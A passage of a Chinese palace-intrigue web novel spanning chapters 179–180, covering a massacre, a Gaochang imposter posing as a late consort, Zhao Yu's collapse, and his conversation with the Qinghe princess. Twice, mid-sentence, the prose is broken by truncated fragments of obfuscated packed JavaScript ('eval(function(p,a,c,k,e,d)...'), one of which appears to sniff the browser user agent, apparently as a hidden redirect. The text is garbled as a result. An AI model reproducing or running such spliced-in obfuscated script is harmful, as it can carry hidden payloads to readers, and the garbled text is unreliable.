奉宁柳密面前那黑衣人一声惨叫,——“不对!听他的话,住手,快住手!” 黑衣无面人群不为之所动,“万不能让赵毓染指漕河,全部灭口!” 文湛手中弓箭陡然转向,对着奉宁柳密面前那黑衣人,松弦,第三支细箭劈空而去!直直钉在那人面具上,碎裂了面具,却没有伤人分毫。 ——“果真是九族尽灭的重罪呀……” 那人喃喃自语,看向赵毓这边,和手持大郑军方最强悍细弓的‘六公子’。 他是个很年轻,大约不到弱冠之年的男子。 文湛认识。 端午千秋寿宴的时候,他跟随父母入大正宫觐见。 ——赵洵美。 清河长公主的儿子。 由于赵毓将自己的面具摘下,此时的他就像个大扑棱蛾子,在本来不甚明亮的灯火中,显得格外闪眼。他将所有的杀戮尽数吸引了过去,那些刀剑飞矢,如同纱笼照着的灯火之外的飞蛾,死也要向上扑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵毓一直被他稳稳护在身后,周围持续数刻的厮杀,数十条性命殒命,成堆血肉之躯被劈碎,可是他的衣角上甚至连一丝半点的血腥都没有沾到,犹如一张花荫下的生宣,柔软而洁净,不染分毫尘埃。 众多死亡带来的安静是骤然降临的。 皓月依旧当空,参天古木将月光筛碎了,夜里幽兰花盛开,馥郁的花香和浓烈的血腥气交织在一起,当真流淌出饕餮之宴的盛大和隆重。 文湛的孔雀面具上有血迹,他知道承怡不喜欢这个味道,摘下来扔过花丛,手中涂血的长剑背于身后,才问,“没事吧。” 赵毓的确不舒服,但还不至于像小时候那样一见血就昏倒,只是紧抿嘴唇,摆了摆手,“没事。”他看了看四周,“现如今北境这情形,当真不适宜兴大狱株连。我看……” 文湛也看了看周围,死人之外,还喘气的只剩下漕帮尤七还有清河长公主那儿子,“柳密!让他们把尸体尽数带走,务必查明身份,活着的人全部关押。” 这种音线很特殊,黄钟大吕,金声玉振。 温岭听着头皮一麻。 嘀咕,“这六叔杀人多了,煞气也大了,连二品大僚都敢这么使唤了……” 可柳密则连忙过去,虽然没跪,却极其恭敬应了一声,“是。” 温岭,“……” 此时,筚篥乐声又响。 那不是中原任何一支曲子,而是地地道道的的高昌乐音,似一根丝绸,缠住管子的躯体,悬于天际,奏一场来自天国的舞乐。 垂怜经。 据说,它响起的时候,有死去的人踏过三途河彼岸,重返人间。 “沈夫人。”赵毓忽然高声说,“我知道你是高昌王女,这套吓唬人的家伙事儿,省了吧。” 乐声停止了,连着几声笑,“赵先生可知我从哪里来?” “自然是南苑。”赵毓看着戏楼,“沈臻获罪,你被株连,入猎场成为这次祭祀的牺牲。” 那边是空的,没有人应声。 赵毓,“沈夫人,赵某不但依旧喘着气,还喘的挺好的。依照你之前说过的话,仓场的账给我,我保你一条性命,不入猎场。” 依旧无人应答。 戏楼映出一枚烛火,委迤而出一盛装女子。 文湛在看清楚那人面孔瞬间,上前一步,挡在赵毓身前,手中横平长剑,剑刃上甚至还沾着黏稠的血。 “承怡……”女子开口。 那是特殊的一种口音,高昌颤音卷着雍京官话,似绞杀,又似缠绵。 “承怡,我好疼。” 女子逐渐走出戏楼,月光下,她一身大郑宫廷朝服,头上戴着黄金翟冠。 文湛陡然怒喝,“来人,拿下!” 奉宁带人持刀就要擒拿。 “殿下!”那女子呵斥,“承怡就在这里,殿下要灭口吗?”她说话的时候,眼睛直勾勾看着眼前的文湛,和他身后的赵毓。 柳密和温岭一头雾水。 赵毓也看着她。 他伸手扯文湛的袖子,硬生生推开他,使他让开半条身子,让自己直面这名女子。 “你,……,穿的,是什么?” 女子答,“自然是凤化朝昭静贵妃的翟衣翟冠。” 赵毓,“先昭静贵妃阿依拉是高昌王阿尔术依的公主,为了大郑西疆边界和平不远万里到雍京和亲,我父皇待她恩泽甚重。她虽然是贵妃,品级却高一等,位同副后,是以,她的翟冠多一只衔珠金凤。沈夫人,你这套不是她的衣冠,你这套是先杜贵妃的行头,只有先杜贵妃的翟冠上才有一条血红宝石镶嵌的金约。” 听闻这些话,那女子笑了起来,桀桀作响。只是,突然,她又转变出一副楚楚可怜的样子,“承怡,不要相信太子,是他让我害你的。” 柳密看着她对着文湛称殿下。 温岭想着,这怎么又牵扯出太子? 什么乱七八糟! 疯了吗? “承怡,我好疼,我在冷宫好疼!” “被装到麻袋里,被她们活生生踩死!” “承怡,你不救我吗?” “你放任我去死?” “承怡……”女子一声叹息,“你被太子骗了……” 文湛手中长剑直指女子心口。 “殿下想灭口?” “可是,……” “当着他的面,你敢吗?” 赵毓知道眼这不是二十年前的故人,他知道这是一场阴谋,他什么都明白,他甚至在看到贵妃衣冠一瞬间就明白是谁在策动这场阴损诡异的局。 只是…… 他控制不了。 似水流落谷,日升月降。 他控制不了! 心口碎裂,浓血自腔中喷涌呛出! 179. 179 179 暴雨连着下了三天三夜。 七、八天之前,过了朱仙镇向北,不到雍京,有一段山泥崩塌入水,堵了一半的河道。顺天府、直隶还有河道,三个衙门一直在清淤,并且限了过往船只的大小,这才确保南来北往顺利通航。 温岭也在这儿蹲了三天三夜。这对于他到真是顶正经的正经事,他出雍京到朱仙镇,本来就是盯着顺天府派的人过来清淤的。这段时间他娘一直没让他回去,不过倒是派了几波人过来送饭。 稍微有些空儿,他坐在河道上的窝棚中,吃着他娘派人送的贴饼子熬杂鱼,忽然一个思绪回转,突然想到那夜的事,后脖颈子冒冷气。 ——六叔要将那个高昌王女活剥皮灌蜡,做成人烛,点天灯! 将活人后背切开长长的口子,活生生将大片人皮撕扯下来,这是历史上那些疯癫奸佞遗臭万年的私刑,或者极端诡秘祭祀中不入轮回的诅咒。 周围竟然没有人反驳! 堂堂大郑帝王,福佑九州,泽披天下! 就因为处置一个疯妇,在青史划下暴戾恣睢的痕迹,值得吗? 帝王? 帝王! 温岭不知道自己脑中为何出现这个,顿时,柳密于林中说过话犹如破空之雷电! “……陛下亲临,……郡王不敢擅专!” 赵毓也曾语焉不详。 “不仅是凌迟呢?” “如果,罪在不赦,九族尽灭呢?” “陛下亲临,……,王族领地及以南至朱仙镇,任何阴谋诡计皆为大不敬,以谋逆论处!” 对,六叔就是皇帝! 可是,他怎么能是皇帝呢? 温岭回想自己第一次在赵毓的雍南公学见到他的样子,一直到这次在朱仙镇重逢,文湛同自己心目中的陛下天渊之别,这种差别甚至有一种恐怖感,可是,再怎么说,也不会比那天夜里的六叔更吓人。 那个时候,六叔像个疯子。 他却又异常冷静。 温岭从来没有见过宁静到如清水无波的疯子,那不是活人。 他回到朱仙镇的家的时候,已经是深夜了,河道上的事情的确已经做好,他实在没有必要继续留在那里。他娘温挚看见他回来,也没再说什么。灶上一直在弄吃食,顺道给他做了一份,让他回屋慢慢吃,是一碗很清淡的细汤面。 “呃,那个,……皮,扒了吗?” “没有。”温挚说,“柳密劝谏。” “六叔还是听都察院重臣的谏言。呃……”温岭说,“陛下。” “也不是那么听。”温挚,“主上对于谏臣的话,愿意听,就听两句,不愿意听,左耳朵进右耳朵出,要是实在烦了,罢官降罪处死也是有的。不过柳密不至于,他说的话到底是对的,有些背后隐含的事、弄权的人,需要细细审讯的,因而他只是被轰回猎场了,同时也留了那疯妇一条性命,先押回南苑,容后再议。其实上林王狩有传统,牺牲祭天,将人剔骨涂油直接烧就好,死法一样惨烈,只是这一千多年了,列位祖宗都是这么做的,不会招惹朝野非议。还有,……”她看了看儿子,“你可以继续称他为六叔。” “呃,娘。”温岭实在忍不住,“主上他,呃,六叔他,一直这样吗?可是,从小到大,我听到的,一直觉得他是宽厚的好人。” 温挚看了看他,没说话。 此时,听见外面笃笃两声,那是拐杖敲击青石的声音。 温挚挑竹帘出去,温岭也跟着出来,眼前是个陌生的书生,莲青色鹤氅,腿脚却不太好,是跛子,因而手中一根杖藜。 “温夫人,您这样可还有敢去送饭食之人?” 温挚看了一下温岭,“让他去吧。” “这位是……” “我儿子。” “原来是温府的公子,那自然是好。”那书生转而对温岭说,“主上多日未进食,你一会儿过去只端一碗清汤就好,不用加肉和面。” 温岭见他同母亲说的有来有往,“您是……” “太医局的医正。”温挚,“他是谢翾飞。” 谢翾飞又说,“哦,还有,如果主上不想吃,你不要劝,切记,千千万万不要劝,直接端出来就好。不用怕,主上一向宽和,也没什么可怕的。” 温岭,“既这么着,谢大夫自己去,岂不是正好?” 谢翾飞挑了一下眉,没接这个话茬,却说,“一会儿在院内,无论看见什么人、什么事,千万不要问,保持目不斜视,切记,切记。” 温岭,“……” 他端着一个木盘,放着一个瓷碗,盛着清如水的鸡汤,从后厨过来,刚到那个院落,就看见一个刚被鞭打完的血呼啦差的身体,趴在青石上。他就是那夜幻境被文湛射碎面具的那个人,去清淤之前温岭就知道他是谁,那是驸马都尉赵庸的儿子赵洵美,也是当时唯二活下来的黑衣无面人,而他的身侧则跪着一个看着已经丢掉多半条命的贵妇人,想哭又不敢哭,难以置信的狼狈,温岭知道,她就是先帝的长女,清河长公主。 周围是禁军。 琅琊郡王姬奉宁在,温岭极意外看见了他舅,靖渊公温栾也在。 不要问,不要看。 他端着鸡汤径自向前走,推开了那道门。 异常浓烈的药汤,裹着名贵老参的味道,像极黑极深的渊,似乎可以湮灭生灵。 温岭以为自己会看见一个披头散发,手持利剑,叫嚣着神挡弑神佛挡杀佛的疯王,结果没有。屋内除了药味浓重之外,其它都是平谧的,烛火甚至还映照着一丝柔和的光。皇帝也很安静,束发、衣冠严正,与平时并无不同,只除了难以描画的憔悴。 “六叔,我给您端了碗鸡汤。” 文湛坐在床边,给躺着的人压了压被子。 温岭将木盘放在桌面上,到文湛身旁,“六叔,我帮您盯着,您好歹喝一口汤。不能这么熬,撑不住的。” 文湛想了想,起身,到桌前坐了,果然端起来那碗汤。 温岭就趴在赵毓床前。 ——会死! 赵毓根本没醒!这三天多,他就那么侧身躺着,压着干净暖和的缂丝薄棉被,嘴角的血迹擦拭干净了,呼吸中弥漫着药汤的香气,身上的衣服换过了,是柔软的湖丝,头发也散了,让他躺着舒服一些。 可是,再怎么装点,他也迅速干枯下去,面皮白到没有血色,薄而脆,似乎裹在纤细竹篾子上的白棉纸,弄的整个人像盏随时会被熄灭的灯。 温岭心惊!他甚至屏住呼吸,不自觉伸出一根手指,小心翼翼、颤巍巍探到赵毓鼻下。 ——活着! 异常细微的呼吸,脆弱到几乎无法吹动最轻柔的羽毛,却让温岭陡然松弛,瘫落跪坐在床前的脚踏之上,脑子一阵一阵发懵,有那么一瞬,他似乎明白了文湛所有的疯狂与暴虐。 文湛知道,自己的确不能再这样熬下去,他喝了口鸡汤就让温岭把空碗拿走,走到承怡床边,和衣躺在床边上。过了丑时似乎又开始下雨,噼里啪啦地敲打着窗外的青石板,雨水能洗干净泥沙,也能洗干净血迹。 睡得极不安稳,很多人,很多景象,密密麻麻的,如同走马灯一般闪过,却都不太真切,唯一在眼前,越看越真切的,是一床黑色缂丝陀罗经被,自高处落下,裹住一人,葬于金丝楠木棺椁。 陀罗经被是“往生被”,传说,用它覆盖身体,可以消除生前所有罪业,安然度过十殿阎罗的审判,入轮回。 梦中,他极力想要看清楚被覆盖的人是谁,上一次他亲眼看见裹陀罗经被入葬的是先帝,但是这次的人似乎很是不同,虽然一样的干枯,却年轻许多。 生死大限如此残酷,万般舍不得,却又不得不舍。 瞬间,文湛睁开眼睛。窗外有天光,屋子里面却很安静,因而心跳声格外显著。只是,心口有些重量,一只手搭在上面,力道很轻,没那么深重,没那么九死无悔,却是温的。他微侧头,发现承怡醒了,侧身靠在软枕上,眼睛于晨曦中一直看着他。 “做噩梦了?” “嗯。” “还记得是什么吗?” 文湛微微摇头。承怡叹口气,伸出手臂,穿过文湛的肩膀和枕头的缝隙,拥住他,慢慢,将他的身体揽过来,抱在自己怀中。 “我要死了,是吗?”文湛不在,赵毓看着过来送药汤的谢翾飞,终于问出口。 “不是,你能活!只是,的确伤了根本。”谢翾飞将手中的拐杖放在一旁,自己坐在赵毓床边对面的木椅中,“一个月前,你在祈王府见高昌王,回来的时候我给你裹伤,当时你心脉就有损伤。我千万叮嘱过,一定不要动怒,尤其不能暴怒,看来,我的话,你根本就没过脑子。” 赵毓,“我还能活多久?” 谢翾飞,“阎王不索命,你就活着呗,这还能有个期限呀?” 赵毓喝完了药汤,“说实话。” 谢翾飞,“不能累,不能动怒,我帮你调养,一年就能见成效,三年五载的,也能恢复差不多。” 赵毓,“要是劳累呢?” 谢翾飞深重叹口气,“那就得看老天,给你几分宽容了。” 赵毓忽然笑了,“那可当真是天不假年了。” “别胡思乱想。”谢翾飞站起来,杵着拐杖,“我让灶上给你弄些饭食,这几天没进食,肉食不能生嚼,可还得吃,不吃没力气。你想吃肉汤面还是肉粥?” “粥。”赵毓动了动手指,“手上一点力气也没有,方才端药碗一直发颤,要是吃面,我怕自己都拿不动筷子。” 谢翾飞走了之后,赵毓从靠枕上慢慢挪到床边,两条腿先放下来,随后再慢慢站起来,虽然还是没什么力气,不过终于能自己走两步了。 他慢慢踱到窗边,看着外面,连着几天几夜的雨,让远处的竹林和近处的回廊、木亭带着几分冷意,对,不是凉意而是冷意。没有那么轻盈,没有那碎裂,而是整整一块,无法切割的冷硬。 不一会儿,文湛回来了,他吩咐人摆饭。清蒸了一份童子鸡,清汤做了面,炒了几样山里产的蘑菇,烫了刚露尖的青菜,赵毓那碗是打到细细的鸡茸粥,加了山药和青菜,大米是玉碎珍珠,淡淡的莲青色。 不管怎么说,安生吃顿饭的福气还是有的。 赵毓慢慢踱过来,坐在桌边。 端起来米粥的碗,呃,有些吃力,就放回桌面;不用金勺挑了个白瓷勺子,呃,也还是有些重。他想着要不然就凑到碗边上吸溜好了,文湛拿过了他手中的白瓷勺,也端过去那碗鸡茸粥。 玉白色的手指控着白瓷勺,舀起来莲青色的粥,轻轻推到赵毓嘴边,他抿了一下,清爽香甜的糜粥入口,似乎尘世顿时不那么寂寞如雪了。 “这黑乎乎的蘑菇好黑哦!” “这个带着花蕊的青菜不错,有些甜。” “文湛,你别光喂我,你也吃。” “我要吃这个黄花菜色的蘑菇!” 文湛手中的筷子夹了片黄花菜色的蘑菇喂他。可惜,这片蘑菇有点儿大,肉嘟嘟的,赵毓咬了一半,剩下的文湛抽回筷子,自己吃了。 此时,燕王从外面进来,“呃……” 文湛方才在前院见过他,没想到他到这里来;而燕王则更尴尬,他只是趁着所有人都在关注围剿此地黑市也就是幻境的结果的时机,过来看看赵毓醒过来身体怎么样,还有,有一件事想要同他私下说。 结果,…… 文湛最近心情极糟糕,寻常人不想再在御前晃动,燕王虽是长辈,可那是论私,于公,他们君臣名分早定,燕王如今属于非奉诏觐见,如若严格按照祖宗成法,文湛可以将他直接轰出去。 赵毓吃着一片蘑菇,有些含糊说,“王叔来了,坐。”他抬手指了指文湛身旁一把椅子,就又被喂了一口鸡茸粥。 燕王,“呃……,我还是站着吧。” 随后,赵毓被文湛喂了两口粥,一小片嫩鸡腿肉,两片白色的蘑菇,一根带着紫色花苞的青菜,还有文湛碗中的一绺细面,并两口鸡汤。他吃饱了,摆了摆手,文湛也不强喂,安静细致开始吃他碗中剩下的粥。 赵毓,“王叔找我可是有什么要紧事儿?” 燕王想了想,“就想看看你身体怎么样,别的,也没什么要紧的。承怡,你好好养着,奉宁那边还有些问题,诶,问了三天也没问出什么,我过去瞧瞧。” 文湛一直没说话,甚至连吃饭的章法都没乱。 赵毓看了看他,又看了看已经推门要走的燕王,说,“王叔,可是赵驸马家那个孩子的事儿?” 闻言,燕王将门又关了回去。 赵毓,“奉宁那边问话,可是没有问出什么?” 燕王,“那孩子年纪不大,不像心机深沉到抗刑隐瞒,我想着,能不能先放他治伤?” “嗯。”赵毓点头,“那夜在幻境我见到他了。我感觉他像个善心的好孩子,也一直提醒我们有危险,并且还出言制止了那些人,可惜,没人听他的。既然奉宁问了三天,他知道的应该都说了,其它的,估计也没啥了。一会儿,我找人回雍京,请他娘过来。” 燕王,“长公主就在此处。” “她在这儿?”赵毓有些意外,“我这位长姐,在这儿干嘛呢?” 燕王瞥了一眼文湛,此时文湛正在安静喝汤,他叹口气,“长公主养子而不教,有罪,因而长跪。” “啊?”赵毓,“她跪了三天?” 燕王点头。 赵毓,“什么都没说?” 燕王,“说什么?” 赵毓抓了抓头发,“她儿子被打成那样,她都能忍着不说话,做人做到这步田地,也真算是顶不要脸了。她怎么变得和她家那个老头儿一个德性?看来我娘说的真对,一被窝睡久了,……” 文湛咳嗽了一声,赵毓噎了后半句回去。 赵毓扶着桌子站起来,“王叔,让她别跪着了,先起来,找个地方歇歇,别一会儿膝盖疼又赖到陛下这边,说主上刻薄政敌派系的贵妃留下的公主。明明挺普通的一件事儿,让她一哭二闹三上吊,搞得跟陛下刻薄寡恩似的。我这就去找她,跟她好好聊聊。” 谢翾飞为清河长公主上了药,温挚命六名丫鬟为她梳洗一番,又换了一身干净的团锦金绣湖丝长袄八幅裙,稍显脸色舒缓了一些。长跪伤了膝,她靠在一张贵妃榻上,四名禁军将这张榻连同她一并抬到四周空阔、眼前就是朱仙镇浩渺水面的一座八角凉亭中。 赵毓缓慢拾阶而上,“姐姐可安好了些?” 长公主看着他。赵毓身后则是那个从小跟着他去西北的琅琊郡王也是这三天负责刑讯赵洵美的姬奉宁,他手中端着一个木盘,里面摆放着茶点,而他的身后,则是文湛! “我这几天着实不得空,不能来看姐姐。”赵毓说了这两句话,就在亭子下面石阶上站了,似乎有些喘。这会功夫,奉宁将茶点摆放在亭中的石桌上,就退开了,只有赵毓同文湛走入亭中,“如今我这个精神头也不大好,只能挑拣一些要紧的话同姐姐叙旧。” “承怡。”长公主终于开口了,声音有些干枯,但是大体还算温润,“听你叫这一声姐姐,不敢当。” 赵毓,“姐,别这么绝情。我这次让你们折腾的就剩半条命,还不成呀。” 长公主,“我家洵美年少无知,他也是被无辜卷进来的。这三天,郡王刑讯,洵美能说的都说了,别的,他也什么都不知道啊!” 这次赵毓没说话,就是看着她笑了一下。 长公主像其生母杜贵妃更像先帝,宝珠华彩,美如汉赋,即使如今狼狈憔悴,也只是稍减颜色。 “别叫得这么亲热,咱俩又不是亲生的,我不是你姐。” 赵毓,“话不能这么说,老爹认了我是他儿子,咱俩就算是亲生的姐弟!你也得认。” 长公主,“我认不认没什么,关键是……”她看了看坐赵毓身边安静喝茶的文湛,继续说,“陛下他不认你是亲哥哥,你跟我较劲,没用!” 赵毓听着,又只是笑了一下。 长公主,“承怡,我儿子你们打了三天,也问了三天,该放人了吧。” “姐姐莫急。”赵毓,“方才不是说了嘛,这次来,我是和姐姐叙旧的。” 长公主,“你我有什么旧可叙?” 赵毓,“诶呦,那可源远流长,这一说起来,得十四、五年了。凤化四十年,那个时候老爹还在,兄弟们也还在。我跟着陛下,哦,那个时候他还是太子殿下,去先嘉王羽澜府上听堂会。” “羽澜很会做这些,刚开始安排的是《西游记》中的一折《太阴星君》,饰演猪八戒的小生特别彩,台下打赏的银子流水般送上去,还有一些各府女眷打赏的首饰,翡翠珊瑚玛瑙点翠,乱七八糟,什么色的都有。” “羽澜拿了琉璃盏,倒了葡萄酒,那就是瓜沙肃兰进贡的葡萄酒,来自遗国高昌,当时就已经窖藏了十二年,用珍珠篓泥煤橡木裹着从千里之外的丝路送进雍京。我记得他还吟了一首诗,——葡萄美酒夜光杯,欲饮琵琶马上催,醉卧沙场君莫笑,古来征战几人回?” “然后我就看到了她。” 言及此处,文湛陡然回身。 可赵毓却没看他,似乎当真沉浸在旧日欢歌当中,连声音都是轻盈的。 “当年雍京红透了的角,才十五。她的名字很古怪,叫罗夫人,倒不是说她嫁了人,只是听说她姓罗,名夫人。而且她的出身也很奇特,她学折子戏,却不是江淮人,而是西北宁州人,皮肤白,似有外夷血统,眼睛珠子不是蓝色,倒是琥珀色的,是真绝色。” “真绝色难得,可是更难得的是,她像极了先昭静贵妃阿伊拉。” “其实当年我就起了疑心。这人呢,不是六必居的大盐萝卜,用黄酱甜面酱一焖,拎出来都差不多。人一个一个长得都不一样,哪怕一个娘胎爬出来的兄弟姐妹,也未必都是一张相似的脸蛋子,岐山神宫一株树上的桃花,一年和一年各有不同,怎么这个西北来的红角就那么像先昭静贵妃?还是说,他们高昌那边有什么妖法,让被选中的姑娘们,拥有相同、或者极相似、可以假乱真的一张脸?” “我本来想让崔珩从雍京万里追踪到西疆,查查底细,但是,凤化末年政局动荡,这件事不是要命的,所以就耽搁了。这一耽搁就是很多年,一直到我在西北戍边,得空亲自去了一趟高昌故地。” 赵毓还居然微微呲了一下鼻子,文湛知道,那是厌恶。 “高昌王阿尔术依也曾纵横丝路,征伐西疆,他的后宫有一些征服地俘虏或者强征的女子。那里没有大郑的宗法制与嫡庶观念,可是贵贱依旧天渊之别。各部落联姻的贵女们并列为正妻,剩下的女子就如同是一大缸子酱土豆一样,坨在一起。” “不过,更令人不齿的是,他们会按照所需求的样貌,进行分拣,侍寝高昌王,产下的孩童只看容貌,优中选优,再分拣男女,继续混乱交|合,罔顾人伦。最后,诞下容貌极上等产物,无论男女均为珍品,价格畸高。十五年前的罗夫人和这次装扮先昭静贵妃的沈夫人都是这么来的,所以,她们都可以算是高昌王女,又都可以算是傀儡,只不过是先昭静贵妃的仿造。” “高昌国灭之后,这群人并没有如鸟兽散,反而聚在一起,举个招牌为‘傀儡园’,继续如法炮制。只是,此等繁衍之法终究违逆天命,他们那些珍品出现天生残疾或痴傻崩坏,不能用来做间,却可以用来做床榻上的玩物。如样貌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵毓,“前几日我见过姐夫了,他也是,说话蛇蛇蝎蝎,七扭八拐,跟那个九曲黄河阵似的。我嘲笑他夫纲不振,其实他也振不起来。他既想着拉扯着姐姐的裙子边,又想着如何把自己摘出来,这崎岖的心境,虽然我不喜,可也明白他的处境。牵扯灭族大罪,帝裔得几分容情,他一个外婿,只能是炮灰。” “不过这老小子也够阴损的,他自己溜了,却将你儿子赵洵美陷了进来,看来早就忘了,那也是他亲生儿子。不要说为人父了,禽兽尚有舐犊之情,他这个人,这个做派,当真是禽兽不如了。” 长公主,“你什么时候猜到的?” “姐姐跟育猫崽似的搞傀儡吗?”赵毓,“我不是猜到的,我是在查到傀儡园的时候,也查到了姐姐被牵扯其中。不过,我不是神仙,掐指算也弄不清楚姐姐到底在做什么,所以,只能给姐姐提个醒。” 长公主,“阉了你姐夫?” 赵毓,“我不是没动真格嘛?几帖药的事儿,等缓缓,还能再用的。” 长公主只是盯着他。 赵毓又笑了一声,“驸马当真委屈。瞧,你我姐弟斗法,不到图穷匕首现那一刻,都是天家手足,骨肉至亲,只有他是个外婿,有事儿不拿他开刀作筏子还能怎样?总不能你我一人一把大菜刀,在大正宫互砍吧,成何体统!” 长公主,“你就不怕失手,当真毁了你姐夫?” “公主人尽可夫。”赵毓,“一个男人而已,不必在意过多。损了这个,另外换个便是。更年轻,更俊俏,也更听话,姐姐岂非更舒心遂意?” 长公主冷哼一声。 此时文湛递过来一杯茶水,赵毓抿了一口,表示此水无毒,推到长公主手边。 “姐姐,咱们说些体己话,别当真,取个乐,姑妄言之,姑妄听之。朱仙镇要是有大事发生,比如说,反目成仇,彼此互杀,那么,太子在雍京可即刻登基。但新帝年幼,杜氏占了嫡母的名分为皇太后。此时,再任由几个兰芝社的言官上书,忠孝大义等等胡扯一通,太后即可名正言顺摄政。到那时,内廷有杜氏垂帘,朝堂有兰芝社秉政,江南有杜玉蝉坐镇,那种光景似乎又回到了二十年前,姐姐刚出嫁的时候。昨日春如,十三女儿学绣。一枝枝、不教花瘦。” 下雨了。 天地之间的雨线,状如银丝,砸到亭子上,噼里啪啦的,完全没有章法。 长公主依旧沉默。 文湛开始给赵毓剥松子。他做事情很细致,照顾赵毓饮食尤其细致。松子从深褐色的壳子中剥离出来,被玉白色的手指捏着,放到赵毓手边的甜白瓷碟中,偶然一粒,直接喂到他口中。 “承怡也说过,灭族大罪,帝裔尚可容情。” 赵毓,“容情与否,全系陛下一念之仁。容情是君恩,不容情亦是君恩。” “既然如此。”长公主忽然开口,声音越发盈润,“承怡可否为我解答多年疑惑。” 赵毓,“请说。” 长公主,“杜氏不可为皇后,为何一直留她性命于大正宫?她占陛下嫡妻名分,你不怕吗?” 赵毓忽然笑了,“我知姐姐想要问什么,其实与杜明鹤有关,又没关系。她是先皇后留给陛下的念想,就如同贵妃留给姐姐的衣冠一样。再者,杜氏罪不可赦,可她无辜,她不过是那些男人们局中的棋子,陛下怜悯,一条性命总还是有容身之处的。当然,这些都是漂亮话,并非谎言,可也非关口。关口就是,杜明鹤可留一条性命,因为她无足轻重。姐姐果然得偿所愿,她也做不了摄政太后,但凡有异动,燕王会将她即刻诛杀。” 长公主,“一派胡言!陛下嫡妻怎可随意诛杀?” 赵毓,“姐姐是杜氏的公主,并非姬姓的王女。失之毫厘差之千里。” 长公主,“你!” “姐姐勿躁。”赵毓摆了摆手,说,“我并非说姐姐其心必异,我是说姐姐这套打法,全部都是杜氏的打法。这是臣子的招数,并非姬姓的招数。如果我是姐姐,我会如何做?” 长公主,“你?” 赵毓,“我不会阴戳戳搞一些高昌傀儡这种不上台面、又极费力气的玩意儿,我也不会在‘嫡、长’这种名分上的事情下一星半点儿的功夫,不过我会在朝堂上耗一些心神,但不会押上全部的筹码。真正可以孤注一掷的是军队,并且只有军队,在绝对武力面前,一些花招都只是镜花水月,看着热闹而已。” “这是乱臣贼子的招数!”长公主,“承怡,你现在站着说话不腰疼。如果陛下不是占着嫡长子的名分,生而为王朝正统,他能如此轻易登临帝位,御极十四年?” 赵毓忽然想起来去年同越筝说过一番话:——所谓正统,不过是那些读书人把僵化的道学栽赃到儒学身上的一种伎俩,这就如同礼部的那些规则,他们规定了圣上什么时候上朝,什么时候烧香,什么时候念经。一切不过是将皇帝变成木雕傀儡一般的手段而已,不值一提。大郑开国一千两百年,兄终弟及并非异类。 思绪转回来,他才开口,“姐姐生而为公主,并且是母族极贵的公主,先帝爱重,从没有脖颈悬刀的过往,因而并不懂王族权力真正的核心是什么。先帝子息凋零至此,是他们不知陛下嫡长子名分早定,还有不懂精巧诡诈的阴谋,没有熟读圣经贤传,亦或是没有在朝堂上结织党羽,党同伐异?” “嫡长子?大郑开国一千二百年,宗庙逾一千八百年,这么多代君主,以嫡长子名分登临帝座,陛下是第四位。宗庙供奉那些雄才伟略的圣王们,那些彪炳史册的大功业,可并非嫡长子这个名分缔造的。” “姐姐方才真正想要问的,其实是先嘉王羽澜如果活着、或者手腕再狠一些,是否可以登临帝座?” “不可能的。” “先帝让杜氏负责他的管教,杜氏倾囊而授。他懂精巧诡诈的阴谋,他熟读圣经贤传,他亦会熟练于朝堂上结织党羽,党同伐异。可是有一点,先帝没教,他天资有限,亦没有悟道。” “帝王业。” “天生带着神性。” “它不仅是问鼎逐鹿游戏最终胜利者以及其后代苗裔的世袭权力,也不止手握天下生杀予夺大权的无上尊荣。登临帝座之人,本就是一尊神像。除去血肉,用最上等羊脂玉雕刻而成,摆进大正宫,太庙,还有山巅之上的岐山神宫。” “呀,都这个时辰了?”赵毓抬头看了看天,“看来还是我同姐姐情感深厚,一说叙旧,就叙到了这个点钟了,说得我都口干舌燥了。姐姐安心修养,我还有其它事,先不陪着了。” “承怡。”长公主叫住他,“我也是族诛之罪吗?” “不是。”赵毓说,“我能保住你,和你的家人。” 长公主颇为意外。她看着皇帝,而此时的文湛正在收拾果壳,没有抬头,更没有看她,似乎她就是陌生人。——不!是陌生的物件儿。 赵毓说,“姐姐无须看陛下,这点事儿,我就能做主。” “你?”长公主,“为什么?” 赵毓,“如果想要感人肺腑,我会说:十五年前在宗正寺,先嘉王羽澜临终托孤,可我失信了,愧疚至今。我当年无法保住他、他的妻子,还有他们未见天日的孩子,如今我想要保住你,弥补一二。” 长公主,“其实是?” 赵毓,“其实是,你对于陛下来说,无足轻重。是碎骨涂油直接烧,还是继续享受公主的尊荣,没有任何不同。但是对于我,会有一些不同。赵洵美那个孩子不错,我不想因为你的事毁了他。” 长公主警觉,“你想做什么?” “想要平息陛下雷霆之怒,总要见点真章。”赵毓,“长公主既然到了朱仙镇,距离南苑猎场不远矣,一场饕餮盛宴不容错过,这可是姬姓王族征伐天下,定鼎中原,绵延国祚一千二百年的不传之秘。” “姐姐。” “欢迎入上林王狩。山川着颜,草木同春!” 180. 180 180 谢翾飞说他昏睡了三天三夜,他什么感觉都没有,无梦无觉。睁开眼睛,周围异常安静,昏暗的,回魂让他有瞬间的恍惚:窗外透进来一束微光,是晨曦,像横渡三途河,忽然一柱光从九重天直劈而下,撕裂尘世与阴间,也阻断了通往幽冥之路。身边躺着文湛,很轻柔的呼吸声,睡着,却睡得极不踏实,虽然姿势看起来和平时没有区别,依旧是玉雕般的板正。 ——陀罗经被。 文湛不知道自己梦呓中说了这个词,极轻,赵毓却听见了,那是死亡的意象。 王族下葬都要裹黑色缂丝的陀罗经被,这是“往生被”,据说,它可以超度亡者生前一切罪业。上一次他们两个亲眼看着裹陀罗经被入葬的是先帝,生死大限如此残酷,舍不得也不得不舍,而文治武功不可一世的帝王身后也不过枯骨一抔。 这一次,让文湛眼睁睁看着裹陀罗经被入葬的人,只有自己了。 ——我要死了,是吗? 对不起,文湛,今生无法与你相守到白头了。 赵毓站在树荫下,抬头,看着被树杈和叶子的缝隙切割到支离破碎的光,有些刺眼,他刚想要抬手挡一下,身后有人直接抬手,为他挡住了那些刺目的光。 是文湛。 玉白色的手指浮动,光线被切开,一丝一丝透过他的指尖,撒在赵毓的面颊上。 